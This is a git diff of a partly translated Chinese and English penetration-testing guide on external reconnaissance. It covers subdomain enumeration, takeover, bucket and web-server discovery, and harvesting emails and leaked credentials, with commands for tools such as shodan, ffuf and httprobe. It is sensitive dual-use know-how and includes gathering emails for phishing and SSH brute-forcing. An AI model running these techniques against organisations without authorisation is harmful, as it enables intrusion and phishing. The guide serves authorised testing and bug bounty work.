简单来说,favihash 将允许我们发现与我们的目标具有相同 favicon 图标哈希的域。
|
简单来说,favihash 允许我们发现与我们的目标具有相同 favicon 图标哈希的域。
|
||||||
|
|
||||||
此外,您还可以使用 favicon 哈希搜索技术,如 [**这篇博客文章**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) 中所述。这意味着如果您知道 **一个易受攻击的 web 技术的 favicon 哈希**,您可以在 shodan 中搜索并 **找到更多易受攻击的地方**:
|
此外,您还可以使用 favicon 哈希搜索技术,如 [**这篇博客文章**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) 中所述。这意味着如果您知道 **易受攻击的 web 技术的 favicon 哈希**,您可以在 shodan 中搜索并 **找到更多易受攻击的地方**:
|
||||||
```bash
|
```bash
|
||||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||||
```
|
```
|
||||||
|
@ -174,13 +174,13 @@ Check out this [**writeup for more information**](https://swarm.ptsecurity.com/d
|
||||||
|
|
||||||
### Mail DMARC information
|
### Mail DMARC information
|
||||||
|
|
||||||
You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) or a tool such as [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) to find **domains and subdomain sharing the same dmarc information**.
|
You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) or a tool such as [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) to find **共享相同 DMARC 信息的域名和子域名**.
|
||||||
|
|
||||||
### **Passive Takeover**
|
### **Passive Takeover**
|
||||||
|
|
||||||
Apparently is common for people to assign subdomains to IPs that belongs to cloud providers and at some point **lose that IP address but forget about removing the DNS record**. Therefore, just **spawning a VM** in a cloud (like Digital Ocean) you will be actually **taking over some subdomains(s)**.
|
Apparently is common for people to assign subdomains to IPs that belongs to cloud providers and at some point **失去该 IP 地址但忘记删除 DNS 记录**. Therefore, just **在云中创建一个虚拟机** (like Digital Ocean) you will be actually **接管一些子域名**.
|
||||||
|
|
||||||
[**This post**](https://kmsec.uk/blog/passive-takeover/) explains a store about it and propose a script that **spawns a VM in DigitalOcean**, **gets** the **IPv4** of the new machine, and **searches in Virustotal for subdomain records** pointing to it.
|
[**This post**](https://kmsec.uk/blog/passive-takeover/) explains a store about it and propose a script that **在 DigitalOcean 中创建一个虚拟机**, **获取** the **IPv4** of the new machine, and **在 Virustotal 中搜索指向它的子域名记录**.
|
||||||
|
|
||||||
### **Other ways**
|
### **Other ways**
|
||||||
|
|
||||||
|
@ -190,21 +190,21 @@ Apparently is common for people to assign subdomains to IPs that belongs to clou
|
||||||
|
|
||||||
As you already know the name of the organisation owning the IP space. You can search by that data in shodan using: `org:"Tesla, Inc."` Check the found hosts for new unexpected domains in the TLS certificate.
|
As you already know the name of the organisation owning the IP space. You can search by that data in shodan using: `org:"Tesla, Inc."` Check the found hosts for new unexpected domains in the TLS certificate.
|
||||||
|
|
||||||
You could access the **TLS certificate** of the main web page, obtain the **Organisation name** and then search for that name inside the **TLS certificates** of all the web pages known by **shodan** with the filter : `ssl:"Tesla Motors"` or use a tool like [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
You could access the **TLS certificate** of the main web page, obtain the **组织名称** and then search for that name inside the **TLS certificates** of all the web pages known by **shodan** with the filter : `ssl:"Tesla Motors"` or use a tool like [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||||
|
|
||||||
**Assetfinder**
|
**Assetfinder**
|
||||||
|
|
||||||
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)是一个查找与主域名相关的**域名**和其**子域名**的工具,非常惊人。
|
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)是一个查找与主域名相关的**域名**和它们的**子域名**的工具,真是太棒了。
|
||||||
|
|
||||||
### **Looking for vulnerabilities**
|
### **Looking for vulnerabilities**
|
||||||
|
|
||||||
Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company.
|
Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **使用某个域名** but they **失去了所有权**. Just register it (if cheap enough) and let know the company.
|
||||||
|
|
||||||
If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\
|
If you find any **域名的 IP 地址与您在资产发现中找到的不同**, you should perform a **基本漏洞扫描** (using Nessus or OpenVAS) and some [**端口扫描**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\
|
||||||
_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
|
_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
|
||||||
|
|
||||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||||
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
|
**Bug bounty tip**: **注册** **Intigriti**, 一个由黑客为黑客创建的高级**漏洞赏金平台**!今天加入我们 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
|
||||||
|
|
||||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
|
@ -220,7 +220,7 @@ Note that some of the tools and techniques to find domains can also help to find
|
||||||
|
|
||||||
### **DNS**
|
### **DNS**
|
||||||
|
|
||||||
Let's try to get **subdomains** from the **DNS** records. We should also try for **Zone Transfer** (If vulnerable, you should report it).
|
Let's try to get **子域名** from the **DNS** records. We should also try for **区域传输** (If vulnerable, you should report it).
|
||||||
```bash
|
```bash
|
||||||
dnsrecon -a -d tesla.com
|
dnsrecon -a -d tesla.com
|
||||||
```
|
```
|
||||||
|
@ -275,7 +275,7 @@ vita -d tesla.com
|
||||||
```bash
|
```bash
|
||||||
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
|
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
|
||||||
```
|
```
|
||||||
有**其他有趣的工具/API**,即使不专门用于查找子域名,也可能对查找子域名有用,例如:
|
还有一些**其他有趣的工具/API**,即使它们并不是专门用于查找子域名,也可能对查找子域名有用,例如:
|
||||||
|
|
||||||
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** 使用API [https://sonar.omnisint.io](https://sonar.omnisint.io) 来获取子域名
|
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** 使用API [https://sonar.omnisint.io](https://sonar.omnisint.io) 来获取子域名
|
||||||
```bash
|
```bash
|
||||||
|
@ -340,7 +340,7 @@ python3 DomainTrail.py -d example.com
|
||||||
* [**securitytrails.com**](https://securitytrails.com/) 提供免费的 API 用于搜索子域名和 IP 历史
|
* [**securitytrails.com**](https://securitytrails.com/) 提供免费的 API 用于搜索子域名和 IP 历史
|
||||||
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
||||||
|
|
||||||
该项目提供 **与漏洞悬赏计划相关的所有子域名** 的免费访问。您也可以使用 [chaospy](https://github.com/dr-0x0x/chaospy) 访问这些数据,甚至可以访问该项目使用的范围 [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
该项目提供 **与漏洞悬赏计划相关的所有子域名** 的免费访问。您还可以使用 [chaospy](https://github.com/dr-0x0x/chaospy) 访问这些数据,甚至可以访问该项目使用的范围 [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||||
|
|
||||||
您可以在这里找到许多这些工具的 **比较**: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
您可以在这里找到许多这些工具的 **比较**: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||||
|
|
||||||
|
@ -356,7 +356,7 @@ python3 DomainTrail.py -d example.com
|
||||||
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
|
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
|
||||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
|
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
|
||||||
|
|
||||||
还需要一些好的 DNS 解析器的 IP。为了生成可信 DNS 解析器的列表,您可以从 [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) 下载解析器,并使用 [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) 进行过滤。或者您可以使用: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
还需要一些好的 DNS 解析器的 IP。为了生成可信的 DNS 解析器列表,您可以从 [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) 下载解析器,并使用 [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) 进行过滤。或者您可以使用: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||||
|
|
||||||
最推荐的 DNS 暴力破解工具是:
|
最推荐的 DNS 暴力破解工具是:
|
||||||
|
|
||||||
|
@ -405,22 +405,22 @@ gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||||
```
|
```
|
||||||
* [**dmut**](https://github.com/bp0lr/dmut): 另一个用于执行子域名的排列、变异和修改的工具。该工具将对结果进行暴力破解(不支持 DNS 通配符)。
|
* [**dmut**](https://github.com/bp0lr/dmut): 另一个用于执行子域名的排列、变异和修改的工具。该工具将对结果进行暴力破解(不支持 DNS 通配符)。
|
||||||
* 你可以在 [**这里**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) 获取 dmut 排列词表。
|
* 您可以在 [**这里**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) 获取 dmut 排列词表。
|
||||||
```bash
|
```bash
|
||||||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||||
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
||||||
```
|
```
|
||||||
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** 基于域名,它**生成新的潜在子域名**,根据指示的模式尝试发现更多子域名。
|
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** 基于域名,它 **生成新的潜在子域名**,基于指示的模式以尝试发现更多子域名。
|
||||||
|
|
||||||
#### 智能排列生成
|
#### 智能排列生成
|
||||||
|
|
||||||
* [**regulator**](https://github.com/cramppet/regulator): 更多信息请阅读这篇[**文章**](https://cramppet.github.io/regulator/index.html),但它基本上会从**发现的子域名**中提取**主要部分**并进行混合,以找到更多子域名。
|
* [**regulator**](https://github.com/cramppet/regulator): 更多信息请阅读这篇 [**文章**](https://cramppet.github.io/regulator/index.html),但它基本上会从 **发现的子域名** 中提取 **主要部分** 并进行混合以找到更多子域名。
|
||||||
```bash
|
```bash
|
||||||
python3 main.py adobe.com adobe adobe.rules
|
python3 main.py adobe.com adobe adobe.rules
|
||||||
make_brute_list.sh adobe.rules adobe.brute
|
make_brute_list.sh adobe.rules adobe.brute
|
||||||
puredns resolve adobe.brute --write adobe.valid
|
puredns resolve adobe.brute --write adobe.valid
|
||||||
```
|
```
|
||||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ 是一个子域名暴力破解模糊器,结合了一个极其简单但有效的 DNS 响应引导算法。它利用提供的一组输入数据,如定制的词汇表或历史 DNS/TLS 记录,准确合成更多相应的域名,并根据在 DNS 扫描过程中收集的信息进一步扩展它们。
|
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ 是一个子域名暴力破解模糊器,结合了一个极其简单但有效的 DNS 响应引导算法。它利用提供的一组输入数据,如定制的词汇表或历史 DNS/TLS 记录,准确合成更多相应的域名,并根据在 DNS 扫描期间收集的信息进一步扩展它们。
|
||||||
```
|
```
|
||||||
echo www | subzuf facebook.com
|
echo www | subzuf facebook.com
|
||||||
```
|
```
|
||||||
|
@ -457,59 +457,59 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
|
||||||
VHostScan -t example.com
|
VHostScan -t example.com
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
通过这种技术,您甚至可能能够访问内部/隐藏的端点。
|
使用此技术,您甚至可能能够访问内部/隐藏的端点。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### **CORS 暴力破解**
|
### **CORS 暴力破解**
|
||||||
|
|
||||||
有时您会发现页面仅在 _**Origin**_ 头中设置有效的域/子域时返回头部 _**Access-Control-Allow-Origin**_。在这些情况下,您可以利用这种行为来 **发现** 新的 **子域**。
|
有时您会发现页面仅在有效的域/子域设置在 _**Origin**_ 头时返回头部 _**Access-Control-Allow-Origin**_。在这些情况下,您可以利用这种行为来 **发现** 新的 **子域**。
|
||||||
```bash
|
```bash
|
||||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||||
```
|
```
|
||||||
### **Buckets Brute Force**
|
### **Buckets Brute Force**
|
||||||
|
|
||||||
在寻找 **subdomains** 时,注意是否指向任何类型的 **bucket**,在这种情况下 [**检查权限**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
在寻找 **subdomains** 时,注意是否指向任何类型的 **bucket**,在这种情况下 [**检查权限**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||||
此外,既然你已经知道了所有在范围内的域名,尝试 [**暴力破解可能的 bucket 名称并检查权限**](../../network-services-pentesting/pentesting-web/buckets/)。
|
此外,由于此时您将知道所有在范围内的域名,请尝试 [**暴力破解可能的 bucket 名称并检查权限**](../../network-services-pentesting/pentesting-web/buckets/)。
|
||||||
|
|
||||||
### **Monitorization**
|
### **Monitorization**
|
||||||
|
|
||||||
你可以通过监控 **证书透明度** 日志来 **监控** 是否创建了域的 **新子域**,[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) 可以做到这一点。
|
您可以通过监控 **证书透明度** 日志来 **监控** 是否创建了域的新 **subdomains**,[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) 可以做到这一点。
|
||||||
|
|
||||||
### **Looking for vulnerabilities**
|
### **Looking for vulnerabilities**
|
||||||
|
|
||||||
检查可能的 [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)。\
|
检查可能的 [**subdomain 接管**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)。\
|
||||||
如果 **subdomain** 指向某个 **S3 bucket**,[**检查权限**](../../network-services-pentesting/pentesting-web/buckets/)。
|
如果 **subdomain** 指向某个 **S3 bucket**,[**检查权限**](../../network-services-pentesting/pentesting-web/buckets/)。
|
||||||
|
|
||||||
如果你发现任何 **子域的 IP 与你在资产发现中找到的不同**,你应该进行 **基本漏洞扫描**(使用 Nessus 或 OpenVAS)和一些 [**端口扫描**](../pentesting-network/#discovering-hosts-from-the-outside) 使用 **nmap/masscan/shodan**。根据运行的服务,你可以在 **这本书中找到一些“攻击”它们的技巧**。\
|
如果您发现任何 **subdomain 的 IP 与您在资产发现中找到的不同**,您应该执行 **基本漏洞扫描**(使用 Nessus 或 OpenVAS)和一些 [**端口扫描**](../pentesting-network/#discovering-hosts-from-the-outside) 使用 **nmap/masscan/shodan**。根据运行的服务,您可以在 **本书中找到一些“攻击”它们的技巧**。\
|
||||||
_请注意,有时子域托管在不受客户控制的 IP 内,因此不在范围内,请小心。_
|
_请注意,有时 subdomain 托管在不受客户控制的 IP 内,因此不在范围内,请小心。_
|
||||||
|
|
||||||
## IPs
|
## IPs
|
||||||
|
|
||||||
在初始步骤中,你可能已经 **找到了一些 IP 范围、域名和子域名**。\
|
在初始步骤中,您可能已经 **找到了一些 IP 范围、域名和 subdomains**。\
|
||||||
现在是 **收集这些范围内的所有 IP** 和 **域名/子域名(DNS 查询)**的时候了。
|
现在是 **收集这些范围内的所有 IP** 和 **域名/subdomains(DNS 查询)**的时候。
|
||||||
|
|
||||||
使用以下 **免费 API** 的服务,你还可以找到 **域名和子域名之前使用的 IP**。这些 IP 可能仍然归客户所有(并可能让你找到 [**CloudFlare 绕过**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
使用以下 **免费 API** 的服务,您还可以找到 **域名和 subdomains 使用过的先前 IP**。这些 IP 可能仍然归客户所有(并可能让您找到 [**CloudFlare 绕过**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||||
|
|
||||||
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||||
|
|
||||||
你还可以使用工具 [**hakip2host**](https://github.com/hakluke/hakip2host) 检查指向特定 IP 地址的域名。
|
您还可以使用工具 [**hakip2host**](https://github.com/hakluke/hakip2host) 检查指向特定 IP 地址的域名。
|
||||||
|
|
||||||
### **Looking for vulnerabilities**
|
### **Looking for vulnerabilities**
|
||||||
|
|
||||||
**对所有不属于 CDN 的 IP 进行端口扫描**(因为你很可能不会在这里找到任何有趣的东西)。在发现的运行服务中,你可能 **能够找到漏洞**。
|
**对所有不属于 CDN 的 IP 进行端口扫描**(因为您很可能不会在其中找到任何有趣的东西)。在发现的运行服务中,您可能 **能够找到漏洞**。
|
||||||
|
|
||||||
**查找一个** [**指南**](../pentesting-network/) **关于如何扫描主机。**
|
**查找一个** [**指南**](../pentesting-network/) **关于如何扫描主机。**
|
||||||
|
|
||||||
## Web servers hunting
|
## Web servers hunting
|
||||||
|
|
||||||
> 我们已经找到了所有公司及其资产,并且知道范围内的 IP 范围、域名和子域名。现在是搜索 Web 服务器的时候了。
|
> 我们已经找到了所有公司及其资产,并且知道范围内的 IP 范围、域名和 subdomains。现在是搜索 web 服务器的时候了。
|
||||||
|
|
||||||
在之前的步骤中,你可能已经对发现的 **IP 和域名进行了某些侦察**,因此你可能 **已经找到了所有可能的 Web 服务器**。然而,如果你还没有,我们现在将看到一些 **快速技巧来搜索范围内的 Web 服务器**。
|
在之前的步骤中,您可能已经对发现的 **IPs 和域名** 进行了某些 **侦察**,因此您可能 **已经找到了所有可能的 web 服务器**。但是,如果您还没有,我们现在将看到一些 **快速技巧来搜索范围内的 web 服务器**。
|
||||||
|
|
||||||
请注意,这将是 **面向 Web 应用程序发现**,因此你也应该 **进行漏洞** 和 **端口扫描**(**如果范围允许**)。
|
请注意,这将是 **面向 web 应用程序发现** 的,因此您还应该 **执行漏洞** 和 **端口扫描**(如果范围允许)。
|
||||||
|
|
||||||
一种 **快速方法** 是使用 [**masscan** 在这里发现与 **web** 服务器相关的 **开放端口**](../pentesting-network/#http-port-discovery)。\
|
一种 **快速方法** 是使用 [**masscan** 在此处发现与 **web** 服务器相关的 **开放端口**](../pentesting-network/#http-port-discovery)。\
|
||||||
另一个友好的工具来查找 Web 服务器是 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 和 [**httpx**](https://github.com/projectdiscovery/httpx)。你只需传递一个域名列表,它将尝试连接到 80(http)和 443(https)端口。此外,你可以指示尝试其他端口:
|
另一个友好的工具来查找 web 服务器是 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 和 [**httpx**](https://github.com/projectdiscovery/httpx)。您只需传递一个域名列表,它将尝试连接到 80(http)和 443(https)端口。此外,您可以指示尝试其他端口:
|
||||||
```bash
|
```bash
|
||||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||||
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
||||||
|
@ -518,9 +518,9 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
||||||
|
|
||||||
现在您已经发现了范围内的**所有网络服务器**(在公司的**IP**和所有**域名**及**子域名**中),您可能**不知道从哪里开始**。所以,让我们简单一点,先对它们进行截图。仅通过**查看****主页**,您就可以找到更**容易**被**利用**的**奇怪**端点。
|
现在您已经发现了范围内的**所有网络服务器**(在公司的**IP**和所有**域名**及**子域名**中),您可能**不知道从哪里开始**。所以,让我们简单一点,先对它们进行截图。仅通过**查看****主页**,您就可以找到更**容易**被**利用**的**奇怪**端点。
|
||||||
|
|
||||||
要执行所提议的想法,您可以使用[**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、[**Gowitness**](https://github.com/sensepost/gowitness)或[**webscreenshot**](https://github.com/maaaaz/webscreenshot)**。**
|
要执行所提议的想法,您可以使用 [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、[**Gowitness**](https://github.com/sensepost/gowitness) 或 [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**。**
|
||||||
|
|
||||||
此外,您还可以使用[**eyeballer**](https://github.com/BishopFox/eyeballer)对所有**截图**进行分析,以告诉您**哪些可能包含漏洞**,哪些不包含。
|
此外,您还可以使用 [**eyeballer**](https://github.com/BishopFox/eyeballer) 来分析所有的**截图**,告诉您**哪些可能包含漏洞**,哪些则不然。
|
||||||
|
|
||||||
## 公有云资产
|
## 公有云资产
|
||||||
|
|
||||||
|
@ -532,9 +532,9 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
||||||
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||||
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
|
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
|
||||||
|
|
||||||
然后,使用这些词汇生成**排列组合**(有关更多信息,请查看[**第二轮DNS暴力破解**](./#second-dns-bruteforce-round))。
|
然后,使用这些词汇生成**排列组合**(有关更多信息,请查看 [**第二轮DNS暴力破解**](./#second-dns-bruteforce-round))。
|
||||||
|
|
||||||
使用生成的字典,您可以使用工具,如[**cloud\_enum**](https://github.com/initstring/cloud\_enum)**、**[**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、**[**cloudlist**](https://github.com/projectdiscovery/cloudlist)**或**[**S3Scanner**](https://github.com/sa7mon/S3Scanner)**。**
|
使用生成的字典,您可以使用工具,如 [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**、** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **或** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**。**
|
||||||
|
|
||||||
请记住,在寻找云资产时,您应该**寻找的不仅仅是AWS中的存储桶**。
|
请记住,在寻找云资产时,您应该**寻找的不仅仅是AWS中的存储桶**。
|
||||||
|
|
||||||
|
@ -547,13 +547,13 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
||||||
通过范围内的**域名**和**子域名**,您基本上拥有了**开始搜索电子邮件**所需的所有信息。这些是我找到公司电子邮件时效果最好的**API**和**工具**:
|
通过范围内的**域名**和**子域名**,您基本上拥有了**开始搜索电子邮件**所需的所有信息。这些是我找到公司电子邮件时效果最好的**API**和**工具**:
|
||||||
|
|
||||||
* [**theHarvester**](https://github.com/laramies/theHarvester) - 使用API
|
* [**theHarvester**](https://github.com/laramies/theHarvester) - 使用API
|
||||||
* [**https://hunter.io/**](https://hunter.io/)的API(免费版)
|
* [**https://hunter.io/**](https://hunter.io/) 的API(免费版)
|
||||||
* [**https://app.snov.io/**](https://app.snov.io/)的API(免费版)
|
* [**https://app.snov.io/**](https://app.snov.io/) 的API(免费版)
|
||||||
* [**https://minelead.io/**](https://minelead.io/)的API(免费版)
|
* [**https://minelead.io/**](https://minelead.io/) 的API(免费版)
|
||||||
|
|
||||||
### **寻找漏洞**
|
### **寻找漏洞**
|
||||||
|
|
||||||
电子邮件稍后将对**暴力破解网络登录和身份验证服务**(如SSH)非常有用。此外,它们在**钓鱼**中也是必需的。此外,这些API将为您提供更多关于电子邮件背后**个人**的信息,这对钓鱼活动非常有用。
|
电子邮件在后续将对**暴力破解网络登录和身份验证服务**(如SSH)非常有用。此外,它们在**钓鱼**中也是必需的。此外,这些API还会提供有关电子邮件背后**个人**的更多**信息**,这对钓鱼活动非常有用。
|
||||||
|
|
||||||
## 凭证泄露
|
## 凭证泄露
|
||||||
|
|
||||||
|
@ -573,9 +573,9 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
||||||
### Github泄露
|
### Github泄露
|
||||||
|
|
||||||
凭证和API可能在**公司**或在该github公司工作的**用户**的**公共仓库**中泄露。\
|
凭证和API可能在**公司**或在该github公司工作的**用户**的**公共仓库**中泄露。\
|
||||||
您可以使用**工具**[**Leakos**](https://github.com/carlospolop/Leakos)来**下载**一个**组织**及其**开发者**的所有**公共仓库**,并自动运行[**gitleaks**](https://github.com/zricethezav/gitleaks)。
|
您可以使用**工具** [**Leakos**](https://github.com/carlospolop/Leakos) 来**下载**一个**组织**及其**开发者**的所有**公共仓库**,并自动运行 [**gitleaks**](https://github.com/zricethezav/gitleaks)。
|
||||||
|
|
||||||
**Leakos**还可以用于对所有**文本**提供的**URL**运行**gitleaks**,因为有时**网页也包含秘密**。
|
**Leakos** 还可以用于对所有**文本**提供的**URL**运行**gitleaks**,因为有时**网页中也包含秘密**。
|
||||||
|
|
||||||
#### Github Dorks
|
#### Github Dorks
|
||||||
|
|
||||||
|
@ -587,12 +587,12 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
||||||
|
|
||||||
### Paste泄露
|
### Paste泄露
|
||||||
|
|
||||||
有时攻击者或只是员工会在**粘贴网站**上**发布公司内容**。这可能包含或不包含**敏感信息**,但搜索它非常有趣。\
|
有时攻击者或仅仅是员工会在**粘贴网站**上**发布公司内容**。这可能包含或不包含**敏感信息**,但搜索它非常有趣。\
|
||||||
您可以使用工具[**Pastos**](https://github.com/carlospolop/Pastos)同时在80多个粘贴网站上进行搜索。
|
您可以使用工具 [**Pastos**](https://github.com/carlospolop/Pastos) 在80多个粘贴网站上同时搜索。
|
||||||
|
|
||||||
### Google Dorks
|
### Google Dorks
|
||||||
|
|
||||||
